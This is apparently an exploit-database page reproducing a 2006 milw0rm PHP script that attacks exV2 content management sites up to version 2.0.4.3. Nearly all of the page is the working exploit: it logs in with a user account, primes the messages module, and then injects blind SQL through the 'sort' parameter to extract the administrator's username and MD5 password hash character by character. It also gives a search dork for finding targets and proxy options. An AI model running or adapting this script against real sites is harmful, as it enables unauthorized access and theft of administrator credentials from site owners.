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exV2 <= 2.0.4.3 - (sort) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 16 Views

exV2 2.0.4.3 - Remote SQL Injection Exploi

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
print_r(&#39;
-------------------------------------------------------------------------------
exV2 &#60;= 2.0.4.3 &#34;sort&#34; SQL injection / administrative credentials disclosure
exploit
mail: [email protected]
site: http://retrogod.altervista.org
dork: &#34;Powered by eXV2 Vers&#34;
-------------------------------------------------------------------------------
&#39;);
/*
this works regardless of php.ini settings
against Mysql &#62;= 4.1 (allowing subs)
and if &#39;messages&#39; module is enabled
*/
if ($argc&#60;4) {
print_r(&#39;
-----------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path user pass OPTIONS
host:      target server (ip/hostname)
path:      path to exv2
user/pass: valide user credentials
Options:
 -T[prefix:   specify a table prefix, other than default (exv2_)
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; 2.2.2.2 /exv2/ rgod test -P1.1.1.1:80
php &#39;.$argv[0].&#39; 1.1.1.1 / rgod test -p81
-----------------------------------------------------------------------------
&#39;);
die;
}

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

$host=$argv[1];
$path=$argv[2];
$uname=$argv[3];
$pass=$argv[4];
$prefix=&#34;exv2_&#34;;

$port=80;
$proxy=&#34;&#34;;
for ($i=5; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-T&#34;)
{
  $prefix=str_replace(&#34;-T&#34;,&#34;&#34;,$argv[$i]);
}
}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

//login
$data=&#34;uname=$uname&pass=$pass&op=login&#34;;
$packet =&#34;POST &#34;.$p.&#34;user.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$cookie=&#34;&#34;;
for ($i=1; $i&#60;count($temp); $i++)
{
  $temp2=explode(&#34; &#34;,$temp[$i]);
  $temp3=explode(&#34;\r&#34;,$temp2[0]);
  if (!strstr($temp3[0],&#34;;&#34;)){$temp3[0]=$temp3[0].&#34;;&#34;;}
  $cookie.=$temp3[0];
}
echo &#34;cookie -&#62;&#34;.$cookie.&#34;\n&#34;;

//retrieve your user id
$packet =&#34;GET &#34;.$p.&#34;edituser.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
$temp=explode(&#34;userinfo.php?uid=&#34;,$html);
$temp2=explode(&#34;&#39;&#34;,$temp[1]);
$uid=(int)$temp2[0];
echo &#34;uid -&#62; &#34;.$uid.&#34;\n&#34;;

//configure your message box, needed...
$data =&#34;msg_mail=0&#34;;
$data.=&#34;&msg_showdisc=0&#34;;
$data.=&#34;&msg_showsend=0&#34;;
$data.=&#34;&update=0&#34;;
$data.=&#34;&op=config_save&#34;;
$data.=&#34;&submit=Save&#34;;
$packet =&#34;POST &#34;.$p.&#34;modules/messages/conf.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

//send to yourself some messages...
for ($i=2; $i&#62;=1; $i--)
{
$data=&#39;-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;to_userid&#34;

&#39;.$uid.&#39;
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;subject&#34;

11111111111111111111111&#39;.$i.&#39;
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;message&#34;

11111111111111111111111
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;MAX_FILE_SIZE&#34;

256000
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;msg_attachment&#34;; filename=&#34;&#34;


-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;msg_attachment[max_file_size]&#34;

256000
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;msg_attachment[accepted]&#34;


-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;allow_html&#34;

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;allow_smileys&#34;

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;allow_bbcode&#34;

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;submit&#34;

Envoyer
-----------------------------7d626f251b00fa--
&#39;;
$packet=&#34;POST &#34;.$p.&#34;modules/messages/pmlite.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cookie: $cookie\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(2);
}

//let&#39;s go...
$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;
$my_password=&#34;&#34;;
while (!strstr($my_password,chr(0)))
{
for ($i=0; $i&#60;=255; $i++)
{
if (in_array($i,$md5s))
{
$sql=&#34;(SELECT(IF((ASCII(SUBSTRING(pass,$j,1))=&#34;.$i.&#34;),msg_time,subject))FROM/**/&#34;.$prefix.&#34;users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*&#34;;
echo &#34;sql -&#62; &#34;.$sql.&#34;\r\n&#34;;
$sql=urlencode($sql);
$packet =&#34;GET &#34;.$p.&#34;modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (!strstr($html,&#34;111111111111111111111111&#34;)){$my_password.=chr($i);echo &#34;password -&#62; &#34;.$my_password.&#34;[???]\n&#34;;sleep(1);break;}
}
if ($i==255) {die(&#34;Exploit failed...&#34;);}
}
$j++;
}

$j=1;
$my_admin=&#34;&#34;;
while (!strstr($my_admin,chr(0)))
{
for ($i=0; $i&#60;=255; $i++)
{
$sql=&#34;(SELECT(IF((ASCII(SUBSTRING(uname,$j,1))=&#34;.$i.&#34;),msg_time,subject))FROM/**/&#34;.$prefix.&#34;users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*&#34;;
echo &#34;sql -&#62; &#34;.$sql.&#34;\r\n&#34;;
$sql=urlencode($sql);
$packet =&#34;GET &#34;.$p.&#34;modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (!strstr($html,&#34;111111111111111111111111&#34;)){$my_admin.=chr($i);echo &#34;admin -&#62; &#34;.$my_admin.&#34;[???]\n&#34;;sleep(1);break;}
if ($i==255) {die(&#34;Exploit failed...&#34;);}
}
$j++;
}
echo &#34;--------------------------------------------------------------------\n&#34;;
echo &#34;admin          -&#62; &#34;.$my_admin.&#34;\n&#34;;
echo &#34;password (md5) -&#62; &#34;.$my_password.&#34;\n&#34;;
echo &#34;--------------------------------------------------------------------\n&#34;;

function is_hash($hash)
{
 if (ereg(&#34;^[a-f0-9]{32}&#34;,trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($my_password)) {echo &#34;Exploit succeeded...&#34;;}
else {echo &#34;Exploit failed...&#34;;}
?&#62;

# milw0rm.com [2006-09-21]

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
exv2remote sql injectionexploitmysql 4.1messages moduleadmin credentialsproxytable prefix
16